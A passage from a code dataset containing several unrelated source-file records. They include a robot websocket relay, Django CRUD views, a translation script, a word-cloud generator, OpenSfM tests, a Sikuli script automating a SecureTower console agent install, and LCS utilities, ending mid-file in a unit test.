print('1way reconnecting')\n print(e)\n await asyncio.sleep(1)\n\n async def ws_2way(self, janus_addr, cloud_addr):\n while True:\n try:\n async with websockets.connect(janus_addr, ssl=self.client_ssl_context, subprotocols=['janus-protocol']) as janus_ws, \\\n websockets.connect(cloud_addr, ssl=self.client_ssl_context) as cloud_ws:\n print('2way: connected')\n janus_task = asyncio.ensure_future(self.ws_relay(janus_ws, cloud_ws))\n cloud_task = asyncio.ensure_future(self.ws_relay(cloud_ws, janus_ws))\n\n done, pending = await asyncio.wait(\n [janus_task, cloud_task],\n return_when=asyncio.FIRST_COMPLETED,\n )\n for task in pending:\n task.cancel()\n except Exception as e:\n print('2way reconnecting')\n print(e)\n await asyncio.sleep(1)\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--disable-camera\", help=\"Disable camera operation\", action=\"store_true\",\n default=False)\nparser.add_argument(\"--disable-joystick\", help=\"Disable joystick opration\", action=\"store_true\",\n default=False)\nparser.add_argument(\"--disable-relay\", help=\"Disable websocket relay\", action=\"store_true\",\n default=True)\nparser.add_argument(\"--id\", help=\"ID of this device\",\n default='MAGIC')\nparser.add_argument(\"--width\", help=\"Camera image width\",\n default=1920)\nparser.add_argument(\"--height\", help=\"Camera image height\",\n default=1080)\nparser.add_argument(\"--video-rtp-port\", help=\"Video RTP output port (should match Janus input port)\",\n default=8004)\nparser.add_argument(\"--audio-rtp-out-port\", help=\"Audio RTP output port (should match Janus input port)\",\n default=8006)\nparser.add_argument(\"--audio-rtp-in-port\", help=\"Audio RTP input port (should match Janus output port)\",\n default=8200)\nparser.add_argument(\"--audio-in-device\", help=\"ALSA input device number\",\n default=1)\nparser.add_argument(\"--audio-out-device\", help=\"ALSA output deivce number\",\n default=0)\nparser.add_argument(\"--janus-ws-port\", help=\"Janus control port\",\n default=8989)\nparser.add_argument(\"--ws-port\", help=\"Websocket port\",\n default=8989)\nparser.add_argument(\"--local-ws-port\", help=\"Websocket port for local server\",\n default=8766)\nparser.add_argument(\"--ssl-cert\", help=\"X509 certificate for SSL\",\n default='/home/pi/PiBot/Software/pi/ssl/ssl.crt')\nparser.add_argument(\"--ssl-key\", help=\"Private key for SSL\",\n default='/home/pi/PiBot/Software/pi/ssl/ssl.key')\nargs = parser.parse_args()\n\nif args.disable_camera:\n c = None \nelse:\n c = RobotCamera(vars(args))\n\nif args.disable_joystick:\n j = None\nelse: \n j = RobotJoystick()\n\nsrv = RobotWebsocketServer(j, c, vars(args))\nasyncio.get_event_loop().run_until_complete(srv.start_server)\nif not args.disable_relay:\n asyncio.ensure_future(srv.run())\nasyncio.get_event_loop().run_forever()\n","sub_path":"stage2/05-add-custom-package-with-build/files/PiBot/Software/pi/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":10927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"258757248","text":"import subprocess\nimport optparse\n\nparser = optparse.OptionParser()\n\nparser.add_option(\"-n\", \"--name\", dest=\"name\", help=\"Provide your name\")\n\n(options, arguments) = parser.parse_args()\n\nname = options.name\n\nprint(\"Welcome to my program \" + name)\n","sub_path":"usingOptions.py","file_name":"usingOptions.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"99439263","text":"# Beden Kitle Indeksi Hesaplama\r\n# Bir kisinin ağırlığının, boyuna göre normal olup olmadığını gösteren parametreye Beden Kitle\r\n# İndeksi denir. Kısaca insanın kilosunu kişinin boy uzunluğunun karesine bölersek beden kitle indeksi ortaya\r\n# çıkar. Kullanıcıdan kilo ve boy uzunluğunu alip çıkan sonuç 25'in altindaysa NORMAL,\r\n# '25-30 arasında ise FAZLA KİLOLU, 30-40 arasında ise OBEZ, 40 ve üzerinde ise AŞIRI ŞİŞMAN şeklinde uyarı yazdiriniz.\r\n\r\nwhile (True):\r\n kilo_sorgu = float(input(\"Lutfen Kilonuzu Giriniz:\"))\r\n boy_sorgu = float(input('Lutfen Boyunuzu Giriniz:'))\r\n normal_bki = round(kilo_sorgu / boy_sorgu ** 2, 2)\r\n print('Baden Kitle Indeksiniz:', normal_bki)\r\n if (normal_bki<25):\r\n print('Beden Kitle indeksiniz NORMAL......')\r\n elif (25<=normal_bki<30):\r\n print('Beden Kitle Indeksinize Gore FAZLA KILOLUSUNUZ....')\r\n elif (30<=normal_bki<40) :\r\n print('Beden Kitle Indeksinize Gore OBEZSINIZ....')\r\n elif normal_bki>=40 :\r\n print('Beden Kitle Endeksinize Gore ASIRI SISMANSINIZ.....')\r\n break\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"bedenkitleindeks.py","file_name":"bedenkitleindeks.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"111290538","text":"import asyncio\n\nfrom reopenwebnet.config import read_environment_config\nfrom reopenwebnet.mqtt import MqttBridge\n\nasync def main():\n bridge = MqttBridge(read_environment_config())\n print(\"starting bridge\")\n await bridge.start()\n while True:\n await asyncio.sleep(60)\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","sub_path":"src/reopenwebnet/mqtt/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"624898878","text":"import os\r\nimport json\r\nprint(os.listdir(\"./data/vg\"))\r\nroot_dir = \"./data/vg/\"\r\nwith open(root_dir + \"detections_train.json\",\"r+\") as f:\r\n detection_train = json.load(f)\r\n\r\nprint(detection_train.keys())#important\r\nprint(\"images:\", detection_train[\"images\"][0].keys())\r\nprint(\"annotations:\", detection_train[\"annotations\"][0].keys())\r\nprint(\"categories:\", detection_train[\"categories\"][0].keys())\r\nprint(\"number of images: \", len(detection_train[\"images\"]))\r\n\r\nprint(\"image sample:\", detection_train[\"images\"][0])\r\n#file names seems must be numbers\r\n#all are jpg\r\n#bbox: [x,y,width,height]\r\nprint(\"annotation sample:\", detection_train[\"annotations\"][1])\r\nprint(\"category sample:\", detection_train[\"categories\"][1])\r\n\r\nfor x in detection_train[\"categories\"]: #VG does not have hierachical category\r\n if x[\"name\"]!= x[\"supercategory\"]:\r\n print(x)\r\n\r\n\r\nwith open(root_dir + \"rel_annotations_train.json\",\"r+\") as f:\r\n rel_annotations = json.load(f)\r\n\r\nprint(rel_annotations.keys())#important\r\nprint(len(rel_annotations.keys()))\r\nprint(rel_annotations['7.jpg'])\r\n\r\nwith open(\"./label_descriptions.json\",\"r+\") as f:\r\n imaterialist_data = json.load(f)\r\n\r\nwith open(root_dir+ \"predicates.json\",\"r+\") as f:\r\n predicates = json.load(f)\r\n\r\nwith open(root_dir + \"objects.json\",\"r+\") as f:\r\n objects = json.load(f)\r\n\r\n\r\n\r\nimport pandas as pd\r\nfrom pandas import Series\r\nimport os\r\nimport json\r\n\r\nroot_dir = \"./data/imaterialist/\"\r\nwith open(root_dir + \"detections_train.json\",\"r+\") as f:\r\n imaterialist_data = json.load(f)\r\n\r\npd_imaterialist_data = pd.DataFrame(imaterialist_data[\"annotations\"])\r\nprint(pd_imaterialist_data.columns)\r\nSeries.idxmax(pd_imaterialist_data.groupby(\"image_id\").count()[\"id\"])\r\npd_imaterialist_data.loc[pd_imaterialist_data[\"image_id\"] == 9672]","sub_path":"Annotation_Analysis.py","file_name":"Annotation_Analysis.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"651165935","text":"from django.http import Http404\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom .forms import ProductForm\nfrom .models import Product\n# Create your views here.\n\n\n\ndef product_create_view(request):\n\tform = ProductForm(request.POST or None)\n\tif form.is_valid():\n\t\tform.save()\n\t\tform = ProductForm()\n\n\tcontext = {\n\t\t'form': form\n\t}\n\treturn render(request, \"products/product_create.html\", context) \n\n\ndef product_update_view(request, id=id):\n\tobj = get_object_or_404(Product, id=id)\n\tform = ProductForm(request.POST or None, instance=obj)\n\tif form.is_valid():\n\t\tform.save()\n\tcontext = {\n\t\t'form': form\n\t}\n\treturn render(request, \"products/product_create.html\", context) \n\n\ndef product_list_view(request):\n\tqueryset = Product.objects.all() #list of objects\n\tcontext = {\n\t\t\"object_list\": queryset\n\t}\n\treturn render(request, \"products/product_list.html\", context)\n\ndef product_detail_view(request, id):\n\tobj = get_object_or_404(Product, id=id)\n\tcontext = {\n\t\t'object': obj\n\t}\n\treturn render(request, \"products/product_detail.html\", context) \n\ndef product_delete_view(request, id):\n\tobj = get_object_or_404(Product, id=id)\n\t#POST request\n\tif request.method == \"POST\":\n\t\t#confirming delete\n\t\tobj.delete()\n\t\treturn redirect('../../')\n\tcontext = {\n\t\t\"object\": obj\n\t}\n\treturn render(request, \"products/product_delete.html\", context)\n\n\ndef dynamic_lookup_view(request, id):\n\t#obj = Product.objects.get(id=id)\n\t#obj = get_object_or_404(Product, id=id)\n\ttry:\n\t\tobj = Product.objects.get(id=id)\n\texcept Product.DoesNotExist:\n\t\traise Http404\n\tcontext = {\n\t\t\"object\": obj\n\t}\n\treturn render(request, \"products/product_create.html\", context)\n\n#def product_create_view(request):\n#\tprint(request.GET)\n#\tprint(request.POST)\n#\tif request.method == 'POST':\n#\t\tmy_new_title = request.POST.get('title')\n#\t\tprint(my_new_title)\n#\t\t#Product.objects.create(title=my_new_title)\n#\tcontext = {}\n#\treturn render(request, \"products/product_create.html\", context) \n\n\n\n","sub_path":"src/products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"550970305","text":"from googletrans import Translator\nimport argparse\nimport os\nimport codecs\nimport sys\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-src_language\", default='la', type=str, help='language of the input text')\nparser.add_argument(\"-dest_language\", default='de', type=str, help='language of the output text')\nparser.add_argument(\"-raw_path\", default='../raw_data/stories/la')\nparser.add_argument(\"-save_path\", default='../raw_data/stories/de')\nparser.add_argument('-log_file', default='./logs/translate.log')\nparser.add_argument(\"-mode\", default='pre_highlight', help='pre_highlight or post_highlight')\nargs = parser.parse_args()\n\n\nsrc_language = args.src_language\ndest_language = args.dest_language\nlog_file = args.log_file\nraw_path = os.path.abspath(args.raw_path)\ntransalted_stories_dir = os.path.abspath(args.save_path)\n\n\ndef translate_story(text_file, output_file_name):\n mode = args.mode\n src_language = args.src_language\n dest_language = args.dest_language\n \n raw_path = os.path.abspath(args.raw_path)\n file = codecs.open(os.path.join(raw_path,text_file), 'r', 'utf-8')\n #reading\n file_text = file.read()\n file.close()\n file_text_array = file_text.split('@highlight')\n\n if('pre_highlight' == mode):\n text_part_index = 0\n elif('post_highlight' == mode):\n text_part_index = 1\n else:\n print('please select a valid mode')\n return False\n\n #translating\n translator = Translator()\n translation = translate_text(os.path.join(raw_path,text_file),translator,file_text_array[text_part_index],src_language,dest_language)\n if translation is None:\n return False\n file_text_array[text_part_index] = translation\n\n #writing\n file = codecs.open(output_file_name, 'w', 'utf-8')\n file.write(file_text_array[0]+'\\n\\n@highlight'+file_text_array[1])\n file.close()\n\ndef translate_text(file_path,translator,input_text,src_language,dest_language):\n try:\n output_text = translator.translate(input_text, src=src_language, dest=dest_language).text\n if dest_language == translator.detect(output_text).lang:\n return output_text\n else:\n seperators = ['.',',', ' ']\n for seperator in seperators:\n print('batch translate: ',file_path,'with \"'+seperator+'\" as seperator')\n output_text = translate_by_batch(file_path,translator,input_text,src_language,dest_language,seperator)\n detection = translator.detect(output_text)\n if dest_language == detection.lang:\n return output_text\n elif src_language != detection.lang:\n log_translation_warning(file_path,translator,output_text)\n return output_text\n # previous translation were not successfull\n if output_text is None:\n output_text = ''\n log_translation_error(file_path,translator,output_text)\n return None\n except Exception as e:\n log_translation_catch_exception(file_path,e)\n return None\n\n\n\ndef log_translation_error(file_path,translator,text):\n log_file = args.log_file\n detection = translator.detect(text)\n file = codecs.open(log_file, 'a', 'utf-8')\n print('translation error')\n file.write(file_path+' seems '+detection.lang+' with a '+str(detection.confidence*100)+'% confidence. It was not translated successfully. Please check manually\\n')\n file.close()\n\ndef log_translation_warning(file_path,translator,text):\n log_file = args.log_file\n detection = translator.detect(text)\n file = codecs.open(log_file, 'a', 'utf-8')\n print('translation warning')\n file.write(file_path+' seems '+detection.lang+' with a '+str(detection.confidence*100)+'% confidence. But was was nonetheless written to the file. Check in case of doubt\\n')\n file.close()\n\ndef log_translation_catch_exception(file_path,exception):\n log_file = args.log_file\n file = codecs.open(log_file, 'a', 'utf-8')\n print('translation error')\n file.write(file_path+' throwed '+str(exception)+' Please check manually\\n')\n file.close()\n\n\n# sometimes translating the whole text runs into translation error\n# so translation by batches could produce at least a translation\n# of many of the batches if not all \ndef translate_by_batch(file_path,translator,input_text,src_language,dest_language,seperator):\n translated_text = ''\n batches = str(input_text).split(seperator)\n # filter strings only containing whitespaces and empty strings\n batches = list(filter(lambda x: (not x.isspace() and x), batches))\n # using the bulk translation mode because it only needs one session\n # see https://github.com/ssut/py-googletrans#advanced-usage-bulk\n try:\n for batch in translator.translate(batches, src=src_language, dest=dest_language):\n translated_text = translated_text + batch.text + seperator\n return translated_text\n except Exception as e:\n log_translation_catch_exception(file_path,e)\n return None\n \n\nif __name__ == '__main__':\n print(\"Preparing to translate %s (%s) to %s (%s)...\" % (raw_path, src_language, transalted_stories_dir, dest_language))\n texts = os.listdir(raw_path)\n print(\"Translating %d text(s)...\" % (len(texts)))\n transalted_stories_dir = os.path.abspath(args.save_path)\n file = codecs.open(log_file, 'a', 'utf-8')\n file.write('-----------------------------------\\n')\n file.close()\n count = 0\n for text_file in texts:\n seperator = '/'\n output_file_name = seperator.join(text_file.rsplit('.', 1)).split(seperator)[0]\n output_file_name = os.path.join(transalted_stories_dir, output_file_name+'.story')\n #only translate if have not been translated before -> saves time\n if not (os.path.exists(output_file_name)):\n translate_story(text_file,output_file_name)\n count += 1\n if(count % 500 == 0):\n print('translated %d articles' % (count))\n print('translated %d articles' % (count))","sub_path":"src/translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":6048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"423471618","text":"to_import = ['utils']\n\nimport importer\nimporter.import_modules(__name__, __file__, to_import)\n\n################################################################################\n\nimport matplotlib.pyplot as plt\nimport keras\nfrom keras.callbacks import ModelCheckpoint, ReduceLROnPlateau, EarlyStopping\nimport logging\nimport os\nimport tensorflow as tf\nlogger = logging.getLogger('pipeline')\n\nclass BaseKerasModel():\n def __init__(self, **kwargs):\n \n def_args = {\n 'use_callback_checkpoint': True\n }\n \n self.callbacks = []\n self.model = None\n self.graph = tf.get_default_graph()\n \n # Extract related arguments\n for k, def_val in def_args.items():\n self.__dict__.update({k: kwargs.get(k, def_val)})\n \n # By default, add all callbacks\n self.add_callback_reducelr()\n self.add_callback_earlystopping()\n \n if self.use_callback_checkpoint:\n self.add_callback_checkpoint()\n \n def set_model(self, model):\n logger.info('Warning: Model already exists, replacing.')\n self.model = model\n \n def fit_generator(\n self, x, steps_per_epoch = 1, epochs = 1,\n validation_steps = 1, **kwargs):\n \"\"\" Trains model, returns validation loss in {'val_loss': val_loss}\n \"\"\" \n history = self.model.fit_generator(\n x['train_data'],\n steps_per_epoch = steps_per_epoch,\n epochs = epochs,\n validation_data = x['val_data'],\n validation_steps = validation_steps,\n callbacks = self.callbacks,\n **kwargs)\n \n # Create a dict for metric\n return {'val_loss': min(history.history['val_loss'])}\n \n def predict(self, x, **kwargs):\n return self.model.predict(x, **kwargs)\n \n def fit(self, x, steps_per_epoch, validation_steps, \n plot_history = False, **fit_params):\n \n # Train model\n metrics = self.model.fit(\n x['train_data'][0],\n x['train_data'][1],\n verbose = True,\n batch_size = self.batch_size,\n validation_data = x['val_data'],\n epochs = 100,\n initial_epoch = 0,\n callbacks = self.callbacks,\n **fit_params)\n \n # Plot metrics over epochs\n if plot_history:\n history = metrics\n acc = history.history['acc']\n val_acc = history.history['val_acc']\n loss = history.history['loss']\n val_loss = history.history['val_loss']\n x = range(1, len(acc) + 1)\n\n plt.figure(figsize=(12, 5))\n plt.subplot(1, 2, 1)\n plt.plot(x, acc, 'b', label='Training acc')\n plt.plot(x, val_acc, 'r', label='Validation acc')\n plt.title('Training and validation accuracy')\n plt.legend()\n plt.subplot(1, 2, 2)\n plt.plot(x, loss, 'b', label='Training loss')\n plt.plot(x, val_loss, 'r', label='Validation loss')\n plt.title('Training and validation loss')\n plt.legend()\n \n return metrics\n \n def test_generator(self, dataset):\n \"\"\"Test for pipelines with a data generator.\n \n Parameters\n ----------\n dataset - generator\n Generator object from retriever or preprocessor\n Returns\n -------\n metrics - dict\n Evaluation results.\n \n \"\"\"\n steps = dataset.samples // dataset.batch_size \\\n + (dataset.samples % dataset.batch_size > 0)\n \n metrics = self.model.evaluate_generator(\n dataset,\n steps=steps,\n max_queue_size=10,\n workers=1,\n use_multiprocessing=False,\n verbose=0)\n return metrics\n \n def test(self, test_data):\n \"\"\"Test for pipelines without a data generator.\n \n Parameters\n ----------\n test_data - tuple of X and y : (X_test, y_test)\n Test dataset, with X and y.\n \n Returns\n -------\n metrics - dict\n Evaluation results.\n \n \"\"\"\n return self.model.evaluate(test_data[0], test_data[1])\n \n ### Callbacks ##############################################################\n \n \"\"\"@utils.catch('BASEMODEL_ADDCHECKPOINTERROR')\n def add_callback_checkpoint(self, path = None, monitor = 'val_loss', period = 1):\n model_dir = r'logs//' + self.fit_id\n \n if not os.path.exists(model_dir):\n os.makedirs(model_dir)\n \n if path is None:\n path = model_dir + \"/keras_loss-{val_loss:.4f}_ep-{epoch:03d}.h5\"\n self.callbacks.append(ModelCheckpoint(\n path,\n monitor = monitor,\n save_weights_only = True,\n save_best_only = True,\n period = period))\"\"\"\n \n def add_callback_checkpoint(self, path = None, monitor = 'val_loss', period = 1):\n if path is None:\n path = \"logs//keras_loss-{val_loss:.4f}_ep-{epoch:03d}.h5\"\n self.callbacks.append(ModelCheckpoint(\n path,\n monitor = monitor,\n save_weights_only = True,\n save_best_only = True,\n period = period))\n \n def add_callback_reducelr(self, monitor = 'val_loss', factor = 0.2,\n patience = 5, verbose = 1):\n \n self.callbacks.append(ReduceLROnPlateau(\n monitor = monitor,\n factor = factor,\n patience = patience,\n verbose = verbose))\n \n def add_callback_earlystopping(self, monitor = 'val_loss', min_delta = 0,\n patience = 12, verbose = 1):\n \n self.callbacks.append(EarlyStopping(\n monitor = monitor,\n min_delta = min_delta,\n patience = patience,\n verbose = verbose,\n restore_best_weights = True\n ))","sub_path":"base/model/kerasmodel.py","file_name":"kerasmodel.py","file_ext":"py","file_size_in_byte":6637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"595765754","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Aug 29 21:28:56 2017\r\n\r\n@author: xu\r\n\"\"\"\r\n#引入模块\r\nimport codecs\r\nfrom os import path\r\nimport jieba\r\nfrom scipy.misc import imread\r\nfrom wordcloud import WordCloud\r\n\r\n#进行jieba分词\r\ndef save_jieba_result():\r\n #设置多线程切割\r\n #jieba.enable_parallel(4)\r\n #获取评论文本的路径\r\n dirs = path.join(path.dirname(__file__), './cf_comment.txt')\r\n #打开评论文本\r\n with codecs.open(dirs, encoding='utf-8') as f:\r\n comment_text = f.read()\r\n #将jieba分词得到的关键词用空格连接成为字符串\r\n cut_text = \" \".join(jieba.cut(comment_text)) \r\n #将jieba分词后的结果存入文本文件中\r\n with codecs.open('cf_jieba.txt', 'a', encoding='utf-8') as f:\r\n f.write(cut_text)\r\n \r\n#绘制词云\r\ndef draw_wordcloud2():\r\n #获取jieba分词后的文本\r\n dirs = path.join(path.dirname(__file__), 'cf_jieba.txt')\r\n #读取分词结果\r\n with codecs.open(dirs, encoding='utf-8') as f:\r\n comment_text = f.read()\r\n #读取背景图片\r\n color_mask = imread(\"background.png\") \r\n #设置停用词\r\n stopwords = [u'就是', u'电影', u'你们', u'这么', u'不过', u'但是', u'什么', u'没有', u'这个', u'那个', u'大家', u'比较', u'看到', u'真是',\r\n u'除了', u'时候', u'已经', u'可以',u'真的',u'一个',u'还是',u'不是']\r\n #设置词云的参数\r\n cloud = WordCloud(font_path=\"msyh.ttc\", background_color='white',max_words=2000, max_font_size=200, min_font_size=4, mask=color_mask, stopwords=stopwords)\r\n #产生词云\r\n word_cloud = cloud.generate(comment_text) \r\n #存成图片格式\r\n word_cloud.to_file(\"cf_cloud.jpg\")\r\n \r\n#调用函数\r\nsave_jieba_result()\r\ndraw_wordcloud2()\r\n","sub_path":"participle.py","file_name":"participle.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"189604339","text":"from opensfm import reconstruction\nfrom opensfm.synthetic_data import synthetic_dataset, synthetic_scene\n\n\ndef test_reconstruction_incremental(scene_synthetic):\n reference = scene_synthetic[0].get_reconstruction()\n dataset = synthetic_dataset.SyntheticDataSet(\n reference,\n scene_synthetic[1],\n scene_synthetic[2],\n scene_synthetic[3],\n scene_synthetic[4],\n scene_synthetic[5],\n )\n\n _, reconstructed_scene = reconstruction.incremental_reconstruction(\n dataset, scene_synthetic[5]\n )\n errors = synthetic_scene.compare(reference, reconstructed_scene[0])\n\n assert errors[\"ratio_cameras\"] == 1.0\n assert 0.7 < errors[\"ratio_points\"] < 1.0\n\n assert 0 < errors[\"aligned_position_rmse\"] < 0.02\n assert 0 < errors[\"aligned_rotation_rmse\"] < 0.001\n assert 0 < errors[\"aligned_points_rmse\"] < 0.1\n\n # Sanity check that GPS error is similar to the generated gps_noise\n assert 4.0 < errors[\"absolute_gps_rmse\"] < 7.0\n\n\ndef test_reconstruction_incremental_rig(scene_synthetic_rig):\n reference = scene_synthetic_rig[0].get_reconstruction()\n dataset = synthetic_dataset.SyntheticDataSet(\n reference,\n scene_synthetic_rig[1],\n scene_synthetic_rig[2],\n scene_synthetic_rig[3],\n scene_synthetic_rig[4],\n scene_synthetic_rig[5],\n )\n\n dataset.config[\"align_method\"] = \"orientation_prior\"\n _, reconstructed_scene = reconstruction.incremental_reconstruction(\n dataset, scene_synthetic_rig[5]\n )\n errors = synthetic_scene.compare(reference, reconstructed_scene[0])\n\n assert errors[\"ratio_cameras\"] == 1.0\n assert 0.7 < errors[\"ratio_points\"] < 1.0\n\n assert 0 < errors[\"aligned_position_rmse\"] < 0.005\n assert 0 < errors[\"aligned_rotation_rmse\"] < 0.001\n assert 0 < errors[\"aligned_points_rmse\"] < 0.05\n\n assert 0 < errors[\"absolute_gps_rmse\"] < 0.15\n","sub_path":"opensfm/test/test_reconstruction_incremental.py","file_name":"test_reconstruction_incremental.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"533645377","text":"xs = {'a': 1, 'b': 2}\nxy = {'b': 3, 'c': 4}\n\n# 最经典的方法 , 用内置字典的 update() 方法\nzs = {}\nzs.update(xs)\nzs.update(xy)\nprint(zs)\n\n# 2.结合内置的 dict() 与 ** 操作来“拆包”,此方法知识和两个字典\nzs = {**xs, **xy}\nprint(zs)\n","sub_path":"Python特性/Chapter_7/合并字典.py","file_name":"合并字典.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"633488223","text":"from datetime import datetime\nimport os\nSettings.MoveMouseDelay = 0.3\ntest_name = '\"Установка агента для поступления данных в БД\"'\ntester_id = ' '\nimport random, string\ndef randomword(length):\n return ''.join(random.choice(string.lowercase) for i in range(length))\ndef waitClick(el, time):\n wait(el,time)\n click(el)\ndef writeLog(message, num): \n time_now = datetime.today().strftime(\"%d.%m.%Y %H:%M:%S\")\n f = open(r'C:\\Sikuli\\log.txt','a')\n f.write(time_now + message + test_name + tester_id + num + '\\n')\n f.close()\n#\n#\n#\n#\n#\ntry:\n err = 24\n openApp(\"C:\\\\Program Files\\\\Falcongaze SecureTower\\\\Administrator Console\\\\FgStAdminConsoleLaunch.exe\")\n #sleep(5)\n #err = 27\n #waitClick(Pattern(\"1509718016452.png\").similar(0.90).targetOffset(-61,0),30)\n sleep(20)\n err = 30\n wait(Pattern(\"1510153881550.png\").similar(0.90).targetOffset(0,26),40)\n sleep(4)\n waitClick(Pattern(\"1510153881550.png\").similar(0.90).targetOffset(0,26),40)\n err = 34\n waitClick(Pattern(\"1510154397232.png\").similar(0.90),10)\n err = 36\n waitClick(\"1510154456534.png\",10)\n sleep(1)\n err = 39\n waitClick(Pattern(\"1510154506009.png\").similar(0.86),10)\n sleep(1)\n err = 42\n waitClick(Pattern(\"1510154564169.png\").similar(0.86).targetOffset(-4,14),10)\n sleep(1)\n err = 45\n waitClick(Pattern(\"1510154723960.png\").similar(0.93).targetOffset(-33,0),10)\n sleep(1)\n err = 48\n type(\"localhost\")\n type(Key.ENTER, KEY_CTRL)\n sleep(1)\n type(Key.ENTER, KEY_CTRL)\n err = 53\n waitClick(\"1510154926879.png\",10)\n sleep(5)\n err = 56\n type(\"x\", KeyModifier.ALT)\n sleep(30)\nexcept:\n writeLog(' Ошибка в тесте ', ' Строка с ошибкой: ' + str (err))\nelse:\n writeLog(' Успешно пройден ', '')\ntry:\n os.system('taskkill /IM FalconGaze.SecureTower.AdminConsole.exe /F')\nexcept:\n pass\nexit","sub_path":"Server_side/Scripts/SecureTowerServer/db_connection/02_agent_install.sikuli/02_agent_install.py","file_name":"02_agent_install.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"547125836","text":"import random\nimport numpy as np\n\n# Substring must be continuous\ndef substring(s1, s2):\n m = [[0] * (1 + len(s2)) for i in xrange(1 + len(s1))]\n longest, x_longest = 0, 0\n for x in xrange(1, 1 + len(s1)):\n for y in xrange(1, 1 + len(s2)):\n if s1[x - 1] == s2[y - 1]:\n m[x][y] = m[x - 1][y - 1] + 1\n if m[x][y] > longest:\n longest = m[x][y]\n x_longest = x\n else:\n m[x][y] = 0\n return s1[x_longest - longest: x_longest]\n\ndef subsequence(string1, string2):\n # Initialise matrix\n lengths = [[0 for j in range(len(string1)+1)] for i in range(len(string2)+1)]\n for i, x in enumerate(string1):\n for j, y in enumerate(string2):\n if x == y:\n lengths[i+1][j+1] = lengths[i][j] + 1\n else:\n lengths[i+1][j+1] = max(lengths[i+1][j], lengths[i][j+1])\n\n # Read substring out from matrix\n results = []\n x, y = len(string1), len(string2)\n while x != 0 and y != 0:\n if lengths[x][y] == lengths[x-1][y]:\n x -= 1\n elif lengths[x][y] == lengths[x][y-1]:\n y -= 1\n else:\n assert string1[x-1] == string2[y-1]\n results = [string1[x-1]] + results\n x -= 1\n y -= 1\n\n return results\n\ndef toString(genes):\n results = \"\"\n for i in genes:\n results += str(i) + ' '\n results = results.strip()\n return results\n\ndef getMatches(c1, c2):\n match1 = subsequence(c1, c2)\n return match1\n\ndef getLCS2(ind, pop):\n subsequences = []\n tours = []\n for p in pop:\n tours.append(p.tour)\n for i in range(1, len(tours)):\n data = subsequence(ind, tours[i])\n subsequences.append(data)\n return subsequences\n\ndef compareArrays(a, b):\n return getMatches(a, b)\n\n\n\ndef getLCS(pop):\n subsequences = []\n substrings = []\n tours = []\n for p in pop:\n tour = []\n for city in p:\n tour.append(city.index)\n tours.append(tour)\n \n matches = []\n for i in range(1, len(tours)):\n data = getMatches(tours[0], tours[i])\n matches.append(data)\n\n subsequence_ratios = []\n substring_ratios = []\n subsequence_lengths = []\n for m in matches:\n subsequence_lengths.append(len(m['subsequence']))\n subsequence_ratio = float(len(m['subsequence'])) / float(len(m['parent1']))\n subsequence_ratios.append(subsequence_ratio)\n \n variance = np.std(subsequence_lengths, axis=0)\n avg = np.average(subsequence_lengths)\n\n temp = pop.getGenotype(0)\n N = temp.tourSize()\n s = 0\n for j in range(0, N):\n s += variance / avg\n coefficient = s / N\n return coefficient\n\n\n data = {\n 'variance': variance,\n 'coefficient_variance': coefficient\n }\n return data\n","sub_path":"libraries/LCS.py","file_name":"LCS.py","file_ext":"py","file_size_in_byte":2856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"28986259","text":"import unittest\n\nimport os\nimport os.path\nimport shutil\nfrom poly_juice.polyjuice import clean_files\nfrom poly_juice.filch import DicomCaretaker\nfrom poly_juice.lumberjack import Lumberjack\nfrom poly_juice.dicom_image import DicomImage\n\n\nclass TestDicomImage(unittest.TestCase):\n \"\"\"\n These tests examine polyjuice's functionality for collecting and updating\n PatientID header info, if there is a match within the file.\n \"\"\"\n\n def setUp(self):\n self.editor = DicomCaretaker()\n self.working_file = 'tests/testInput/MRI/102_01_01_2010/1'\n self.out_dir = 'tests/testOutput/'\n self.modifications = make_config()\n self.id_pairs = {'PATIENT_ID': 'UPDATE_ID'}\n self.dicom_folders = ['', '']\n self.log = Lumberjack()\n\n self.directory = os.path.dirname('tests/testOutput/')\n if not os.path.exists(self.directory):\n os.makedirs(self.directory)\n\n # generate an output file so that we aren't editing the template\n self.output = os.path.dirname('tests/testOutput/102_01_01_2010/1')\n if not os.path.exists(self.output):\n os.makedirs('tests/testOutput/102_01_01_2010/')\n clean_files(self.editor, self.working_file, self.out_dir,\n self.working_file, self.modifications, self.id_pairs,\n self.dicom_folders, self.log)\n\n def 